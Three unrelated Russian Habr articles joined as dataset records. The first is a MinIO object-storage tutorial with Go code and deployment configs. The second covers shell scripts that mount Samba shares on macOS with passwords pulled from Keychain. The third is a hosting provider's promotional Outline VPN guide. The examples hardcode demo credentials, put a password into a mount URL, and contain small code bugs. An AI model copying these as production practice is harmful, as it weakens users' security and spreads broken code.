Но до прихода в Ozon я сталкивался с довольно интересными кейсами, когда хранение разных данных (документов, изображений) было организовано не самым изящным образом. Мне попадались SFTP, Google Drive и даже монтирование PVC в контейнер!
Использование всех этих решений сопряжено с проблемами, в основном связанными с масштабированием. Это и привело меня к знакомству с объектными хранилищами, ведь с их помощью можно красиво и удобно решать целый ряд задач.
TL;DR
-----
Объектное хранилище – это дополнительный слой абстракции над файловой системой и хостом, который позволяет работать с файлами (получать доступ, хранить) через API.
Объектное хранилище может помочь вам в кейсах, когда необходимо хранить [файлы пользователей в ваших приложениях](https://gitlab.com/worldbug/storage-examples/-/tree/main/server), [складывать статику](https://gitlab.com/worldbug/storage-examples/-/blob/main/manifestos/gitlab-ci.yml) и предоставлять доступ к ней через [Ingress](https://gitlab.com/worldbug/storage-examples/-/blob/main/manifestos/ingress-static.yaml) или хранить [кеши вашего CI](https://docs.gitlab.com/runner/configuration/speed_up_job_execution.html#use-minio).
Все материалы к статье (исходники, конфиги, скрипты) лежат вот в этой [репе](http://gitlab.com/worldbug/storage-examples).
### Что такое объектное хранилище
Хранить данные нашего приложения можно различными способами, от хранения данных просто на диске до блоба в нашей БД (если она это поддерживает, конечно). Но будет такое решение оптимальным? Часто есть нефункциональные требования, которые нам хотелось бы реализовать: масштабируемость, простота поддержки, гибкость. Тут уже хранением файлов в БД или на диске не обойтись. В этих случаях, например, масштабирование программных систем, в которых хранение данных построено на работе с файловой системой хоста, оказывается довольно проблематичной историей.
И на помощь приходят те самые объектные хранилища, о которых сегодня и пойдёт речь. Объектное хранилище – это способ хранить данные и гибко получать к ним доступ как к объектам (файлам). В данном контексте объект – это файл и набор метаданных о нём.
Стоит ещё упомянуть, что в объектных хранилищах нет такого понятия, как структура каталогов. Все объекты находятся в одном «каталоге» – bucket. Структурирование данных предлагается делать на уровне приложения. Но никто не мешает назвать объект, например, так: `objectScope/firstObject.dat` .
Основное преимущество хранения данных в объектах – это возможность абстрагирования системы от технических деталей. Нас уже не интересует, какая файловая (или тем более операционная) система хранит наши данные. Мы не привязываемся к данным какими-то конкретными способами их представления, которые нам обеспечивает платформа.
В этой статье мы не будем сравнивать типы объектных хранилищ, а обратим наше внимание на класс S3-совместимых стораджей, на примере MinIO. Выбор обусловлен тем, что MinIO имеет низкий порог входа (привет, Ceph), ~~а ещё оно Kubernetes Native, что бы это ни значило~~.
На мой взгляд, MinIO – это самый доступный способ начать использовать технологию объектного хранения данных прямо сейчас: его просто развернуть, легко управлять ~~и его невозможно забыть~~. На протяжении долгого времени MinIO может удовлетворять таким требованиям, как доступность, масштабируемость и гибкость.
Вообще S3-совместимых решений на рынке много. Всегда есть, из чего выбрать, будь то облачные сервисы или self-hosted-решения. В общем случае мы всегда можем перенести наше приложение с одной платформы на другую (да, у некоторых провайдеров есть определённого рода vendor lock-in, но это уже детали конкретных реализаций).
**Disclaimer:** под S3 я буду иметь в виду технологию (S3-совместимые объектные хранилища), а не конкретный коммерческий продукт. Цель статьи – показать на примерах, как можно использовать такие решения в своих приложениях.
Кейс 1: прокат самокатов
------------------------
В рамках формата статьи-воркшопа знакомиться с S3 в общем и с MinIO в частности мы будем на практике.
На практике часто возникает вопрос хранения и доступа к контенту, который генерируется или обрабатывается вашим приложением. Правильно выбранный подход может обеспечить спокойный сон и отсутствие головной боли, когда придёт время переносить или масштабировать наше приложение.
Давайте перейдём к кейсу. Представим, что мы пишем сервис для проката самокатов и у нас есть user story, когда клиент фотографирует самокат до и после аренды. Хранить медиаматериалы мы будем в объектном хранилище.
Для начала развернём наше хранилище.
Самый быстрый способ развернуть MinIO – это наш любимчик Docker, само собой.
С недавнего времени Docker – не такая уж и бесплатная штука, поэтому в [репе](https://gitlab.com/worldbug/storage-examples) на всякий случай есть альтернативные манифесты для Podman.
Запускать «голый» контейнер из терминала – нынче моветон, поэтому начнём сразу с манифеста для docker-compose.
```
# docker-compose.yaml
version: '3.7'
services:
minio:
image: minio/minio:latest
command: server --console-address ":9001" /data/
ports:
- "9000:9000"
- "9001:9001"
environment:
MINIO_ROOT_USER: ozontech
MINIO_ROOT_PASSWORD: minio123
volumes:
- minio-storage:/data
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
volumes:
minio-storage:
```
Сохраняем манифест и делаем `$ docker-compose up` в директории с манифестом.
Теперь мы можем управлять нашим хранилищем с помощью web-ui. Но это не самый удобный способ для автоматизации процессов (например, для создания пайплайнов в CI/CD), поэтому сверху ещё поставим [CLI-утилиту](https://github.com/minio/mc):
`$ go get github.com/minio/mc`
И да, не забываем про `export PATH=$PATH:$(go env GOPATH)/bin.`
Cоздадим алиас в mc (залогинимся):
`$ mc alias set minio http://localhost:9000 ozontech minio123`
Теперь создадим bucket – раздел, в котором мы будем хранить данные нашего пользователя (не стоит ассоциировать его с папкой). Это скорее раздел, внутри которого мы будем хранить данные.
Назовем наш бакет “usersPhotos”:
`$ mc mb minio/usersPhot`
`$ mc ls minio > [0B] usersPhotos`
Теперь можно приступать к реализации на бэке. Писать будем на Golang. MinIO любезно нам предоставляет [пакетик](http://github.com/minio/minio-go) для работы со своим API.
***Disclaimer:*** *код ниже – лишь пример работы с объектным хранилищем; не стоит его рассматривать как набор best practices для использования в боевых проектах.*
Начнём с подключения к хранилищу:
```
func (m *MinioProvider) Connect() error {
var err error
m.client, err = minio.New(m.url, &minio.Options{
Creds: credentials.NewStaticV4(m.user, m.password, ""),
Secure: m.ssl,
})
if err != nil {
log.Fatalln(err)
}
return err
}
```
Теперь опишем ручку добавления медиа:
```
func (s *Server) uploadPhoto(w http.ResponseWriter, r *http.Request) {
// Убеждаемся, что к нам в ручку идут нужным методом
if r.Method != "POST" {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}
// Получаем ID сессии аренды, чтобы знать, в каком контексте это фото
rentID, err := strconv.Atoi(r.Header.Get(HEADER_RENT_ID))
if err != nil {
logrus.Errorf("Can`t get rent id: %v\n", err)
http.Error(w, "Wrong request!", http.StatusBadRequest)
return
}
// Забираем фото из тела запроса
src, hdr, err := r.FormFile("photo")
if err != nil {
http.Error(w, "Wrong request!", http.StatusBadRequest)
return
}
// Получаем информацию о сессии аренды
session, err := s.database.GetRentStatus(rentID)
if err != nil {
logrus.Errorf("Can`t get session: %v\n", err)
http.Error(w, "Can`t upload photo!", http.StatusInternalServerError)
return
}
// Складываем данные в объект, который является своего рода контрактом
// между хранилищем изображений и нашей бизнес-логикой
object := models.ImageUnit{
Payload: src,
PayloadSize: hdr.Size,
User: session.User,
}
defer src.Close()
// Отправляем фото в хранилище
img, err := s.storage.UploadFile(r.Context(), object)
if err != nil {
logrus.Errorf("Fail update img in image strorage: %v\n", err)
http.Error(w, "Can`t upload photo!", http.StatusInternalServerError)
return
}
// Добавляем запись в БД с привязкой фото к сессии
err = s.database.AddImageRecord(img, rentID)
if err != nil {
logrus.Errorf("Fail update img in database: %v\n", err)
http.Error(w, "Can`t upload photo!", http.StatusInternalServerError)
}
}
```
Загружаем фото:
```
func (m *MinioProvider) UploadFile(ctx context.Context, object models.ImageUnit) (string, error) {
// Получаем «уникальное» имя объекта для загружаемого фото
imageName := samokater.GenerateObjectName(object.User)
_, err := m.client.PutObject(
ctx,
UserObjectsBucketName, // Константа с именем бакета
imageName,
object.Payload,
object.PayloadSize,
minio.PutObjectOptions{ContentType: "image/png"},
)
return imageName, err
```
Нам надо как-то разделять фото до и после, поэтому мы добавим записи в базу данных:
```
func (s *PGS) AddImageRecord(img string, rentID int) error {
// Получаем информацию о сессии аренды
rent, err := s.GetRentStatus(rentID)
if err != nil {
logrus.Errorf("Can`t get rent record in db: %v\n", err)
return err
}
// В зависимости от того, были загружены фото до начала аренды
// или после её завершения, добавляем запись в соответствующее поле в БД
if rent.StartedAt.IsZero() {
return s.updateImages(rent.ImagesBefore, img, update_images_before, rentID)
}
return s.updateImages(rent.ImagesAfter, img, update_images_after, rentID)
}
```
Ну и сам метод обновления записи в БД:
```
func (s *PGS) updateImages(old []string, new, req string, rentID int) error {
// Добавляем в список старых записей
// новую запись об изображении
old = append(old, new)
new = strings.Join(old, ",")
_, err := s.db.Exec(req, new, rentID)
if err != nil {
logrus.Errorf("Can`t update image record in db: %v\n", err)
}
return err
}
```
Также мы могли бы напрямую через сервис вытаскивать и отдавать фото по запросу. Выглядело бы это примерно так:
```
func (s *Server) downloadPhoto(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}
rentID := r.URL.Query()["rid"][0]
if rentID == "" {
http.Error(w, "Can`t get rent-id from request", http.StatusBadRequest)
}
img, err := s.storage.DownloadFile(r.Context(), rentID)
if err != nil {
logrus.Errorf("Cant`t get image from image-storage: %v\n", err)
http.Error(w, "Can`t get image", http.StatusBadRequest)
}
s.sendImage(w, img.Payload)
}
```
Ну и само получение файла из хранилища:
```
func (m *MinioProvider) DownloadFile(ctx context.Context, image string) (models.ImageUnit, error) {
reader, err := m.client.GetObject(
ctx,
UserObjectsBucketName,
image,
minio.GetObjectOptions{},
)
if err != nil {
logrus.Errorf("Cant`t get image from image-storage: %v\n", err)
}
defer reader.Close()
return models.ImageUnit{}, nil
}
```
Но мы можем и просто проксировать запрос напрямую в MinIO, так как у нас нет причин этого не делать (на практике такими причинами могут быть требования безопасности или препроцессинг файлов перед передачей пользователю). Делать это можно, обернув всё в nginx:
```
server {
listen 8080;
underscores_in_headers on;
proxy_pass_request_headers on;
location / {
proxy_pass http://docker-samokater;
}
location /samokater {
proxy_pass http://docker-minio-api;
}
}
server {
listen 9090;
location / {
proxy_pass http://docker-minio-console;
proxy_redirect off;
}
}
```
Получать ссылки на изображения мы будем через ручку rent\_info:
```
func (s *Server) rentInfo(w http.ResponseWriter, r *http.Request) {
if r.Method != "GET" {
w.WriteHeader(http.StatusMethodNotAllowed)
return
}
rentID, err := strconv.Atoi(r.Header.Get(HEADER_RENT_ID))
if err != nil {
logrus.Errorf("Can`t get rent id: %v\n", err)
http.Error(w, "Wrong request!", http.StatusBadRequest)
return
}
session, err := s.database.GetRentStatus(rentID)
if err != nil {
logrus.Errorf("Can`t get session: %v\n", err)
http.Error(w, "Can`t rent info!", http.StatusInternalServerError)
return
}
// Обогащаем поля ссылками на изображения
session = enrichImagesLinks(session)
s.sendModel(w, session)
}
```
И сам метод обогащения:
```
func enrichImagesLinks(session models.Rent) models.Rent {
for i, image := range session.ImagesBefore {
session.ImagesBefore[i] = fmt.Sprintf("%s/%s", ImageStorageSVCDSN, image)
}
for i, image := range session.ImagesAfter {
session.ImagesAfter[i] = fmt.Sprintf("%s/%s", ImageStorageSVCDSN, image)
}
return session
}
```
Упакуем всё в docker-compose.yaml:
docker-compose.yaml
```
version: '3.7'
services:
minio:
image: minio/minio:latest
container_name: minio
restart: unless-stopped
command: server --console-address ":9001" /data/
ports:
- "9000:9000"
- "9001:9001"
environment:
MINIO_ROOT_USER: ozontech
MINIO_ROOT_PASSWORD: minio123
volumes:
- minio-storage:/data
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:9000/minio/health/live"]
interval: 30s
timeout: 20s
retries: 3
networks:
- app-network
samokater:
image: samokater:latest
container_name: samokater
build:
context: ./
dockerfile: samokater.Dockerfile
restart: unless-stopped
ports:
- 8080:8080
networks:
- app-network
environment:
SERVERPORT: :8080
DBPATH: user=postgres password=devpass dbname=postgres host=db port=5432 sslmode=disable
MINIOHOST: minio:9000
MINIOUSER: ozontech
MINIOPASS: minio123
depends_on:
- db
- minio
initDB:
image: mingration:latest
container_name: init
environment:
DBPATH: user=postgres password=devpass dbname=postgres host=db port=5432 sslmode=disable
build:
context: ./
dockerfile: mingration.Dockerfile
networks:
- app-network
depends_on:
- db
db:
container_name: db
image: postgres
restart: always
environment:
POSTGRES_PASSWORD: devpass
volumes:
- pg-storage:/var/lib/postgresql/data
ports:
- 5432:5432
networks:
- app-network
nginx:
image: nginx-custom:latest
build:
context: ./
dockerfile: nginx.Dockerfile
restart: unless-stopped
tty: true
container_name: nginx
volumes:
- ./nginx.conf:/etc/nginx/nginx.conf
ports:
- 8000:80
- 443:443
networks:
- app-network
depends_on:
- samokater
networks:
app-network:
driver: bridge
volumes:
minio-storage:
pg-storage:
```
Протестируем работу нашего приложения:
```
# Создаём сессию аренды
$ curl -i -X POST --header 'user_id:100' http://localhost:8080/api/v1/rent
HTTP/1.1 200 OK
{"ID":100,"Name":"","RentID":8674665223082153551}
# Добавляем пару фото до начала аренды
$ curl -i -X POST --header 'rent_id:8674665223082153551' --form photo=@/Users/ktikhomirov/image_1.png http://localhost:8080/api/v1/upload_photo --insecure
HTTP/1.1 200 OK
# Начинаем сессию аренды
$ curl -i -X POST http://localhost:8080/api/v1/rent_start -H "Content-Type: application/json" -d '{"ID":100,"RentID":8674665223082153551}'
HTTP/1.1 200 OK
# Завершаем сессию аренды
$ curl -i -X POST http://localhost:8080/api/v1/rent_stop -H "Content-Type: application/json" -d '{"ID":100,"RentID":8674665223082153551}'
HTTP/1.1 200 OK
# Добавляем фото после завершения аренды
$ curl -i -X POST --header 'rent_id:8674665223082153551' --form photo=@/Users/ktikhomirov/image_2.png http://localhost:8080/api/v1/upload_photo --insecure
# Получаем информацию об аренде
curl -i -X GET -H "rent_id:8674665223082153551" http://localhost:8080/api/v1/rent_info
HTTP/1.1 200 OK
{"ID":100,"Name":"","StartedAt":"2021-10-21T08:10:31.536028Z","CompletedAt":"2021-10-21T08:19:33.672493Z","ImagesBefore":["http://127.0.0.1:8080/samokater/100/2021-10-21T15:15:24.png","http://127.0.0.1:8080/samokater/100/2021-10-21T08:06:15.png"],"ImagesAfter":["http://127.0.0.1:8080/samokater/100/2021-10-21T08:21:06.png"],"RentID":8674665223082153551}
```
Изображение полученное при переходе по URL от ответа сервисаКейс 2: хранение и раздача фронта
---------------------------------
Ещё одна довольно популярная задача, для решения которой можно использовать объектные хранилища, – хранение и раздача фронта. Объектные хранилища пригодятся нам тут, когда захотим повысить доступность нашего фронта или удобнее им управлять. Это актуально, например, если у нас несколько проектов и мы хотим упростить себе жизнь.
Небольшая предыстория. Однажды я встретил довольно интересную практику в компании, где в месяц релизили по несколько лендингов. В основном они были написаны на Vue.js, изредка прикручивался API на пару простеньких ручек. Но моё внимание больше привлекло то, как это всё деплоилось: там царствовали контейнеры с nginx, внутри которых лежала статика, а над всем этим стоял хостовый nginx, который выполнял роль маршрутизатора запросов. Как тебе такой cloud-native-подход, Илон? В качестве борьбы с этим монстром мной было предложено обмазаться кубами, статику держать внутри MinIO, создавая для каждого лендинга свой бакет, а с помощью Ingress уже всё это проксировать наружу. Но, как говорится, давайте не будем говорить о плохом, а лучше сделаем!
Представим, что перед нами стоит похожая задача и у нас уже есть Kubernetes. Давайте туда раскатаем MinIO Operator. Стоп, почему нельзя просто запустить MinIO в поде и пробросить туда порты? А потому, что MinIO-Operator любезно сделает это за нас, а заодно построит High Availability-хранилище. Для этого нам всего лишь надо ~~три столовые ложки соды...~~ воспользоваться официальной [документацией](https://www.google.com/url?q=https://docs.min.io/minio/baremetal/&sa=D&source=editors&ust=1635344630066000&usg=AOvVaw1hiSRyIX51O88IPWM6frjA).
Для простоты установки мы вооружимся смузи [Krew](https://www.google.com/url?q=https://github.com/kubernetes-sigs/krew&sa=D&source=editors&ust=1635344630066000&usg=AOvVaw3-9gG5neKjfA4TsJG6XvwE), который всё сделает за нас:
`$ kubectl krew update`
`$ kubectl krew install minio`
`$ kubectl minio init`
Теперь надо создать tenant. Для этого перейдём в панель управления. Чтобы туда попасть, прокинем прокси:
`$ kubectl minio proxy -n minio-operator`
После прокидывания портов до нашего оператора мы получим в вывод терминала JWT-токен, с которым и залогинимся в нашей панели управления:
Интерфейс управления тенантамиДалее нажимаем на кнопку «Добавить тенант» и задаём ему имя и неймспейс:
Интерфейс настройки тенантаПосле нажатия на кнопку «Создать» мы получим креденшиалы, которые стоит записать в какой-нибудь [Vault](https://www.google.com/url?q=https://www.vaultproject.io/&sa=D&source=editors&ust=1635344630070000&usg=AOvVaw3IOpCcxiobocyk0r_KOZCV):
Теперь для доступа к панели нашего кластера хранилищ, поднимем прокси к сервису minio-svc и его панели управления:
```
# Поднимаем прокси к дашборду minio-svc
kubectl -n minio-operator port-forward service/minio-svc-console 9090:9090
# Поднимаем прокси к API minio-svc
kubectl -n minio-operator port-forward service/minio-svc-hl 9000:9000
```
И вуаля! У нас есть высокодоступный отказоустойчивый кластер MinIO. Давайте прикрутим его к нашему GitLab CI и сделаем .gitlab\_ci, чтобы в пару кликов деплоить фронт.
Вот так у нас будет выглядеть джоба для CI/CD на примере GitLab CI (целиком конфиг лежит в репе):
```
# gitlab-ci
deploy-front:
stage: deploy
image: minio/mc
script:
# Логинимся в MinIO
- mc config host add --insecure deploy $CI_OBJECT_STORAGE $CI_OBJECT_STORAGE_USER $CI_OBJECT_STORAGE_PASSWORD
# И всё собранное ранее переносим в наш бакет
- mc cp dist/* deploy/static --insecure -c -r
dependencies:
- build-front
```
Для того чтобы отдавать статику, добавим Ingress-манифест:
```
# static.yaml
---
apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
name: example-static
labels:
app.kubernetes.io/name: example-static
app.kubernetes.io/version: "latest"
annotations:
cert-manager.io/cluster-issuer: letsencrypt-worker
kubernetes.io/ingress.class: nginx
kubernetes.io/tls-acme: "true"
nginx.ingress.kubernetes.io/proxy-body-size: 100m
nginx.ingress.kubernetes.io/secure-backends: "true"
nginx.ingress.kubernetes.io/ssl-redirect: "true"
nginx.ingress.kubernetes.io/backend-protocol: "HTTPS"
nginx.ingress.kubernetes.io/rewrite-target: /$1
spec:
tls:
- hosts:
- "domain.ru"
secretName: ssl-letsencrypt-example
rules:
- host: "domain.ru"
http:
paths:
- backend:
serviceName: minio-svc
servicePort: 9000
path: /(.+)
pathType: Prefix
```
А если вдруг потребуется доступ из других неймспейсов, то мы можем создать ресурс ExternalName:
```
---
apiVersion: v1
kind: Service
metadata:
name: minio-svc
namespace: deploy
spec:
ports:
- port: 9000
protocol: TCP
targetPort: 9000
sessionAffinity: None
type: ExternalName
```
Вместо вывода
-------------
Объектные хранилища – это класс инструментов, которые позволяют наделить систему высокодоступным хранилищем данных. Во времена cloud-native это незаменимый помощник в решении многих задач. Да, на практике могут случаться кейсы, в которых использование объектного хранения данных будет избыточным, но вряд ли это можно считать поводом совсем игнорировать этот инструментарий в других своих проектах.
Отдельно я бы посоветовал обратить внимание на S3-совместимые решения, если вы занимаетесь машинным обучением или BigData и у вас есть потребность в хранении большого количества медиаданных для их последующей обработки.
Рассмотренное в статье MinIO – это не единственный достойный инструмент, который позволяет работать с данной технологией. Существуют решения на основе [Ceph](https://www.google.com/url?q=https://github.com/ceph/ceph&sa=D&source=editors&ust=1635344630080000&usg=AOvVaw0P6W-Kt1JTMKHem52kKtrt) и [Riak CS](https://www.google.com/url?q=https://github.com/basho/riak&sa=D&source=editors&ust=1635344630080000&usg=AOvVaw0TK0CwuBpjEx2iUxDFqkJO) и даже S3 от Amazon. У всех инструментов свои плюсы и минусы.
Желаю вам успехов в создании и масштабировании ваших приложений и надеюсь, что объектные хранилища вам будут в этом помогать!
Делитесь в комментариях о вашем опыте работы с объектными хранилищами и задавайте вопроы! | https://habr.com/ru/post/586024/ | null | ru | null |
# Автоматизация монтирования samba-разделов в Mac OS
Третьего дня поднял сервер для файлопомойки, бэкапов, торрентов и прочих домашних нужд. Там развернулась samba с множеством шар, в частности с личнми данными и местом под бэкапы ноутбука через TimeMachime. Сразу же не понравилось постоянное ручное монтирование шары и образа для бэкапа. Ниже хочу поделиться с сообществом скриптами по автоматизации этого процесса.
#### Причины неудобств
Каждый раз для подключения к самбе надо изрядно потыкать мышкой: Finder -> Подключение к серверу -> ввод имени сервера (-> первый раз ещё и пароль спросят) -> выбор папок, которые нужно подключить -> Ok. Потом, если захочется делать бэкап в примонтированную по самбе директорию, прийдётся ещё и образ .sparsebundle создавать, и монтировать ещё и его. Всё это, возможно, и не сильно напрягает, если делать раз в пару недель на стационарном ПК, который постоянно находится в одной и той же сети и не выключается так же, как и сервер. Но когда это надо делать после каждого включения/пробуждения ноутбука — это ни в какие ворота не лезет. Плюс к этому выяснилось, что если не отмонтировать разделы и сменить сеть (скажем прийти к соседу в гости), то система изрядно виснет после выхода из сна, ибо не находит сервер с шарами, а, в редких случаях, ещё и в kernel panic случается. Всё это сильно омрачило радость поднятия сервера и мечты о том что больше я даже вспоминать не буду о бэкапах, пока они мне не понадобятся (тьфу тьфу тьфу). Было решено, что процесс нужно автоматизировать.
#### На первых порах
В попыхах были нагуглены способы монтирования самбы и тут же родился маленький скрипт из парочки идентичных команд следующего вида:
```
mkdir -p /mount/point
```
Так же было найдено как сделать аттач образа для TimeMachine:
```
hdiutil attach -mountpoint /mount/point /path/to/image.sparsebundle/
```
hdutil оказался более смышлёным и создание папок не потреловал.
Первая версия скрипта была готова.
#### Безопасность
Очень напрягало указание пароля в явном виде при монтировании. Почитав ман для *mount\_smbfs* узнал про *nsmb.conf*. Но идея так же не шибко понравилась, так как всё равно пароль хранится где-то в файле в открытом виде. Тут же вспомнил, что через GUI пароль спрашивают единожды, а далее вытаскивают из keychain. Захотелось использовать её. Оказалось автоматически, как если бы взял *nsmb.conf* и дописал ключик -N к *mount\_smbfs*, пароль подставляться не будет (чуда не произошло). Прийдёся его сначала получать через *security* и затем передавать в нужное место. Для сих целей была нагуглена и переделана под свои нужды функция:
```
get_inet_pwd () {
security find-internet-password -gwl $1
}
```
После этого явное указание пароля было заменено на:
```
mount -t smbfs //user:"$(get_inet_pwd server-pc)"@server-pc/shara_name /mount/point
```
Паранойя отступила, но любознательность и перфекционизм остались, поэтому дело продолжилось.
#### Улучшения и расширение
Захотелось сделать один скрипт для монтирование всего и сразу, да так сделать, чтобы он расширяемый было и повторять код много раз не пришлось, плюс чтобы смотрел что уже в системе примонтировано и второй раз монтировать не пытался. Сказано — сделано. Опишу всё по-порядку.
Для определения примонтированости, на первом этапе, был использован самый «топорный» метод
```
if [ ! -d /mount/point/ ]; then
mkdir -p /mount/point
mount …
fi
```
Но сразу же стало понятно, что директория может и присутствовать, но не являться точкой монтирования для чего-либо. Поэтому сделал функцию для проверки:
```
is_volume_mounted() {
volume_name=$1
mount | awk -v volume_name=$volume_name '$3 == volume_name {print $3}'
}
```
Метод тоже не идеален, но уже гораздо лучше, нежели простая проверка наличия директории.
То же самое было сделано и для проверки образа бэкапа:
```
is_image_attached() {
img_path=$1
df -Hl | awk -v img_path=$img_path '$9 == img_path {print $9}'
}
```
После некоторых раздумий и чтения форумов метод раздулся и стал сразу проверять примонтирован ли образ, и, если нет, то монтировать его.
```
try_attach_fs_image() {
img_path=$1
mnt_pnt_path=$2
# check existance of image file
if [ -d $img_path ]; then
# check if image alredy attached in system
if [[ $(df -Hl | awk -v img_path=$img_path '$9 == img_path {print $9}') != "" ]]; then
echo image $img_path alredy attached
else
hdiutil attach -mountpoint $mnt_pnt_path $img_path
fi
fi
}
```
Далее нужна была функция для выполнения проверок и автоматизации по монтированию любого количества шар с сервера. Вот какой она получилась:
```
try_mount_server_samba() {
smb_vol_name=$1
mnt_pnt_path=$2
# check if samba share exist in network
if [[ $( is_samba_exist $smb_vol_name ) != "" ]]; then
# check if samba alredy mounted
if [[ $( is_volume_mounted $mnt_pnt_path ) != "" ]]; then
# show message about that
echo volume $mnt_pnt_path alredy mounted
else
# check if moint point directory not exist
if [ ! -d $mnt_pnt_path ]; then
mkdir -p $mnt_pnt_path
fi
# otherwise - mount volume
mount -t smbfs //user:"$(get_inet_pwd server-pc)"@server-pc/$smb_vol_name $mnt_pnt_path
fi
fi
}
```
Внимательный читатель заметит, что во-первых: можно и имя сервера передавать в параметрах к функции, а не хардкодить его, а во-вторых: в скрипте встречается неизвестная функция *is\_samba\_exist*.
Отвечаю по-порядку: 3-й параметр для функции было делать лень, ибо пока второго сервра с самбой не планируется; функция *is\_samba\_exist* имеет следующий вид:
```
is_samba_exist() {
smb_vol_name=$1
smbutil view //user:"$(get_inet_pwd server-pc)"@server-pc/ | awk -v smb_vol_name=$smb_vol_name '$1 == smb_vol_name {print $1}'
}
```
Несложно догадаться, что функция проверяет наличие шары с указанным именем в текущей сети.
Таким образом основная часть скрипта стала простой, понятной и расширяемой:
```
try_mount_server_samba "shara_name" "/mount/point"
try_attach_fs_image "/path/to/image.sparsebundle" "/mount/point"
```
На последок, по образу и подобию вышеописанного скрипта, был создан ещё один, но уже для отмонтирования сразу всего:
```
#!/bin/sh
# unmount volume if it mounted
# syntax: umount_volume "/path/to/volume"
umount_volume() {
vol_path=$1
if [[ $(mount | awk -v vol_path=$vol_path '$3 == vol_path {print $3}') != "" ]]; then
umount $vol_path
echo $vol_path is unmounted
fi
}
# detach filesystem image if it attached
# syntax: detach_fs_image "/path/to/fs/image"
detach_fs_image() {
img_path=$1
if [[ $(df -Hl | awk -v img_path=$img_path '$9 == img_path {print $9}') != "" ]]; then
hdiutil detach $img_path
echo $img_path is detched
fi
}
# main part
# umnount data volume
umount_volume "/data/mount/point"
# firstly detach image from backup volume
detach_fs_image "/backup/image/mount/point"
# secondary unmount backup volume
umount_volume "/backup/volume/mount/point"
```
Вот и всё. Дальше скрипты были унесены к своим собратьям в *~/.script*. Получили короткие алиасы в *.bash\_profile* и стали помогать мне с самбой.
#### Перспективы
В будущем, когда дойдут руки, хочется подружить скрипты со *SleepWatcher*, дабы выполнялись они после выхода из сна и перед уходом в него же. То есть, чтобы совсем ничего не надо было делать руками и автоматизация стала полной.
P.S. спасибо товарищу [helios](http://geektimes.ru/users/helios/) за ключ *-w* для *security*. | https://habr.com/ru/post/232087/ | null | ru | null |
# Доступ к заблокированным сайтам за 5 шагов: собственный сервер Outline VPN за 270 рублей в месяц
Популярность VPN в России выросла на фоне бана Роскомнадзором иностранных ресурсов, но почти все сервисы VPN сами заблокированы на территории РФ — или работают нестабильно. Некоторые отечественные сайты (например, Госуслуги или портал Мегафона) запрещают доступ из-за рубежа, и выехавшим из страны пользователям требуется уже российская виртуальная сеть. К тому же владельцы сервисов VPN (особенно бесплатных) часто собирают приватные данные пользователей и передают их третьим лицам.
Что делать, когда нужно обойти запреты и сохранить приватность? Хорошим решением проблемы станет настройка на базе ПО [Outline](https://getoutline.org/ru/) собственного недорогого сервера VPN. С нашей пошаговой инструкцией это займет считанные минуты и не потребует навыков системного администратора.
### Почему Outline VPN?
Outline — это бесплатное ПО одной из специализирующихся на приватности дочерних компаний Google. Его создатели используют защищенные протоколы, которые сложно выявить, в то время как стандартные средства организации VPN куда более уязвимы для анализаторов трафика. Собственный сервер защитит вас и от сбора пользовательских данных. К тому же ПО Outline прошло проверку двух независимых аудиторов информационной безопасности: [Radically Open Security](https://s3.amazonaws.com/outline-vpn/static_downloads/ros-report.pdf) и [Cure53](https://s3.amazonaws.com/outline-vpn/static_downloads/cure53-report.pdf).
От конкурентов Outline VPN отличается простотой развертывания: серверная часть со всем окружением упакована в контейнер [Docker](https://ru.wikipedia.org/wiki/Docker) и устанавливается на любой виртуальной машине с Linux одной командой. Для настройки и администрирования используем приложение Outline Manager с интуитивно понятным интерфейсом, которое работает на вашем персональном компьютере, поэтому вам не придется редактировать текстовые конфигурационные файлы или изучать работу с командной строкой.
> С ПО Outline не обязательно знать даже основы системного администрирования, чтобы поднять в любой стране мира собственную VPN и раздать к ней доступ, не углубляясь в технические нюансы. Для подключения к серверу потребуется скачать Outline Client для вашей настольной или мобильной системы.
>
>
### Шаг 1. Закажите виртуальный сервер (VPS) для вашей VPN
Чтобы организовать VPN, вам не нужен дорогостоящий виртуальный сервер: достаточно выбрать линуксовый VPS минимальной конфигурации. Мы рекомендуем использовать [Ubuntu Linux](https://ru.wikipedia.org/wiki/Ubuntu) и все дальнейшие инструкции приводим для этой операционной системы.
> Мы в [HOSTKEY](https://hostkey.ru/) предлагаем клиентам [виртуальные серверы в России, Нидерландах и США по цене от 270 рублей в месяц](https://hostkey.ru/instant-servers/virtual/) с [возможностью оплаты рублями российской компании](https://hostkey.ru/news/51-mezhdunarodnyj-khosting-provajder-hostkey-prodolzhaet-prinimat-oplatu-v-rublyakh-za-uslugi-v-evrope-i-ssha/). HOSTKEY оказывает услуги хостинга на российском, европейском и американских рынках уже более 15 лет.
>
>
Чтобы заказать VPS, [зарегистрируйтесь](https://billing.hostkey.ru/register.php) на сайте [hostkey.ru](https://hostkey.ru/). Зайдите на главную страницу и кликните на **«Личный кабинет»** в правом верхнем углу страницы.
Затем нажмите кнопку **«Регистрация»** и заполните открывшуюся форму.
После подтверждения номера телефона по SMS будет создана учетная запись, с помощью которой вы сможете получить доступ к [панели управления](https://invapi.hostkey.com/) серверами HOSTKEY ([invapi.hostkey.com](https://invapi.hostkey.com)). Авторизуйтесь в системе и закажите VPS: для этого нужно выбрать пункт меню **Order instant server —> VPS**.
Выберите конфигурацию сервера **vm.nano** в локации Нидерланды (NL-AMS) или США (USA-NYC), а затем нажмите кнопку **Order**. При оплате сразу за 3, 6 или 12 месяцев вы получите скидку.
Настраивая параметры сервера, выберите операционную систему Ubuntu 20.04 и нажмите кнопку **Order**.
Далее необходимо пополнить баланс лицевого счета. При оплате картой (принимаются выпущенные российскими банками карты, в том числе МИР) вы можете поставить галочку **«Разрешаю автосписания»**, чтобы ваш сервер продлевался автоматически после окончания срока аренды. Отменить автосписание можно в личном кабинете пользователя.
> Через 15–20 минут на указанную при регистрации электронную почту придет уведомление о готовности сервера к работе. В нем будет указан IP вашего VPS, а также логин и пароль для подключения.
>
>
